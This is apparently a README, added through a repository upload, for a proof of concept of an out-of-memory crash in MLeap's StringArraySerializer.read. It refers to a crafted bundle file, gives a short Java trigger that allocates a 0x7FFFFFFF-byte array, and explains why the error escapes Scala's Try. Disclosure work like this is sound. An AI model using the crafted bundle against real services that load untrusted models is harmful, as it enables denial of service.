Upload README.md with huggingface_hub

README.md

@@ -0,0 +1,25 @@
+# MLeap StringArraySerializer OOM PoC
+
+Proof-of-concept for an uncontrolled resource consumption vulnerability in MLeap's `StringArraySerializer.read`.
+
+## Files
+- `evil.mleap`: crafted MLeap bundle ZIP. Loading it triggers `OutOfMemoryError` via `new Array[Byte](0x7FFFFFFF)` in `StringArraySerializer.read`.
+
+## Reproduce
+```python
+import struct, zipfile, io, base64
+from mleap.pyspark.spark_support import SimpleSparkSerializer
+# Or load via BundleFile in Scala/Java:
+# BundleFile.load("evil.mleap")
+```
+
+## Root Cause
+`StringArraySerializer.read` calls `din.readInt()` on attacker-controlled bytes and passes the result directly to `new Array[Byte](size)` with no bounds check. `OutOfMemoryError` extends `VirtualMachineError`; Scala's `NonFatal` extractor returns false for it, so the surrounding `Try{}` does not catch it — the error propagates and crashes the process.
+
+## Trigger (Java)
+```java
+DataInputStream din = new DataInputStream(
+    new ByteArrayInputStream(new byte[]{0x7F,(byte)0xFF,(byte)0xFF,(byte)0xFF}));
+int size = din.readInt();       // 2147483647
+byte[] bytes = new byte[size];  // OutOfMemoryError: Requested array size exceeds VM limit
+```